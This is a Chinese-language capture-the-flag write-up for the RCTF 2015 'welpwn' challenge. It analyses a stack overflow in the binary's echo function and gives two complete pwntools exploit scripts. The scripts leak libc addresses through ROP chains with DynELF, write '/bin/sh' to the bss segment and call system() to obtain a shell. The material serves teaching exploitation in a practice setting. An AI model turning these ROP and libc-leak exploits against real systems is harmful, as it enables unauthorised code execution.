RCTF 2015 welpwn http://oj.xctf.org.cn/files/welpwn_932a4428ea8d4581431502ab7e66ea4b
先获取程序的基本信息:
然后用ida静态分析程序代码,main函数如下:
主函数中read()函数读取了1024个字节的数据,随后调用echo函数:
可以看到echo函数栈桢的大小是20h
echo函数中存在一个循环赋值,循环次数是read函数读的数据的长度,如下图:
由于echo函数的栈桢大小(20h)远小于read函数可以读取的数据长度(400h),在进行循环赋值的时候,echo函数保存在栈中的返回地址会被覆盖。
下图是输入为"A"*12 + "B"*12 + "C"*4时,程序执行到循环赋值时栈的情况:
高亮的部分是echo函数的返回地址,它即将被覆盖。
由于程序设置了栈不可执行,可以构造ROP链,泄露libc中的函数
泄露libc,获取system,gets等函数地址构造gets(bss);将'/bin/sh'写入bss段构造'system("/bin/sh")'得到shell使用Linux_x64中通用的gadgets构造ROP链
首先收集一些需要用到的信息,包括bss段的地址、main函数地址、程序中已有函数的地址、gadgets地址……
使用ROPgadgets寻找gadgets(用于构造ROP链):
main函数地址(用作返回地址):
bss段开始地址(用于存储字符串’/bin/sh’):
gets(plt)函数地址(用作泄露内存):
构造ROP链,泄露内存:
rop = p64(poprdi) + p64(addr) + p64(puts_plt) + p64(main) payload = "A" * 24 + p64(ppppr) + rop利用pwnlib中DynELF模块泄露libc中system和puts地址:
def leak(addr): rop = p64(poprdi) + p64(addr) + p64(puts_plt) + p64(main) payload = "A" * 24 + p64(ppppr) + rop p.sendline(payload) p.recv(27) tmp = p.recv() data = tmp.split("\nWelcome")[0] if len(data): return data else: return '\x00' d = DynELF(leak, elf=ELF('welpwn')) system = d.lookup('system', 'libc') gets = d.lookup('gets', 'libc')构造ROP链将'/bin/sh'写入bss段,并执行system("/bin/sh"):
rop = p64(poprdi) + p64(bss) + p64(gets) + p64(poprdi) + p64(bss) + p64(system) + p64(0xdeadbeef) payload = "A"*24 + p64(ppppr) + rop这里有两个脚本,第一个是我自己写的,第二个是参考fuchuangbob的脚本。自己写的时候没有想到可以利用pop rdi; ret这个gadgets,写的略显复杂,但是构造ROP链的部分写的比较详细,不熟悉ROP链构造的同学可以看下exp1。exp2比较高级,代码也很简练,我从中也学到了不少:D
exp1.py
#!/usr/bin/python # only use general gadgets from pwn import * p = process('welpwn') context(arch='amd64', os='linux') # load program elf = ELF('welpwn') # infomation read_got = elf.symbols['got.read'] log.info("read_got = " + hex(read_got)) write_got = elf.symbols['got.write'] log.info("write_got = " + hex(write_got)) main = elf.symbols['main'] log.info("main = " + hex(main)) # overflow point buflen = 24 # gadgets mmmcall = 0x400880 ppppppr = 0x40089a ppppr = 0x40089c # junk code padding = 0xdeadbeef # need leak libc # function 1 get system addr # write(1, address, 8) flag = 0 def leak(address): global flag payload = "" payload += "Q" * buflen payload += p64(ppppr) payload += p64(ppppppr) rbx = 0 rbp = 1 r12 = write_got r13 = 8 r14 = address r15 = 1 ret = mmmcall payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) + p64(ret) ret = main payload += p64(padding) * 7 + p64(ret) p.recvuntil('RCTF\n') p.sendline(payload) if flag: p.recv(0x1b) data = p.recv(8) log.info("recv: " + str(data)) flag += 1 return data d = DynELF(leak, elf=ELF('welpwn')) system = d.lookup('system', 'libc') log.info("system addr = " + hex(system)) #system = 0x7ffff7a60e10 bss = 0x601300 payload = "" payload += "P" * buflen payload += p64(ppppr) payload += p64(ppppppr) rbx = 0 rbp = 1 r12 = read_got r13 = 17 r14 = bss r15 = 0 ret = mmmcall payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) + p64(ret) ret = main payload += p64(padding) * 7 + p64(ret) p.recvuntil("RCTF\n") p.sendline(payload) sleep(1) p.sendline("/bin/sh\0"+ p64(system)) # # function check bss # # write(1, bss, 16) check = "" check += "C" * buflen check += p64(ppppr) check += p64(ppppppr) rbx = 0 rbp = 1 r12 = write_got r13 = 16 r14 = bss r15 = 1 ret = mmmcall check += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) + p64(ret) ret = main check += p64(padding) * 7 + p64(ret) p.recvuntil("RCTF\n") p.sendline(check) sleep(1) p.recv(0x1b) log.info("recv:" + p.recv(16).encode('hex')) # function 3 get shell # system(bss) payload = "" payload += "R" * buflen payload += p64(ppppr) payload += p64(ppppppr) rbx = 0 rbp = 1 r12 = bss+0x8 r13 = bss r14 = bss r15 = bss ret = mmmcall payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) + p64(ret) ret = main payload += p64(padding) * 7 + p64(ret) p.recvuntil("RCTF\n") p.sendline(payload) sleep(0.5) p.recv() p.interactive()exp2.py
#!/usr/bin/python from pwn import * p = process('welpwn') #context.log_level = 'debug' ppppr = 0x40089c poprdi = 0x4008a3 main = 0x4007cd puts_plt = 0x4005a0 bss = 0x601070 p.recvuntil("RCTF\n") def leak(addr): rop = p64(poprdi) + p64(addr) + p64(puts_plt) + p64(main) payload = "A" * 24 + p64(ppppr) + rop p.sendline(payload) p.recv(27) tmp = p.recv() data = tmp.split("\nWelcome")[0] if len(data): return data else: return '\x00' d = DynELF(leak, elf=ELF('welpwn')) system = d.lookup('system', 'libc') log.info("system addr = " + hex(system)) gets = d.lookup('gets', 'libc') log.info("gets addr = " + hex(gets)) # gets(bss); system(bss); rop = p64(poprdi) + p64(bss) + p64(gets) + p64(poprdi) + p64(bss) + p64(system) + p64(0xdeadbeef) payload = "A"*24 + p64(ppppr) + rop p.sendline(payload) sleep(1) p.sendline('/bin/sh\0') p.interactive()https://github.com/TaQini/pwn/tree/master/welpwn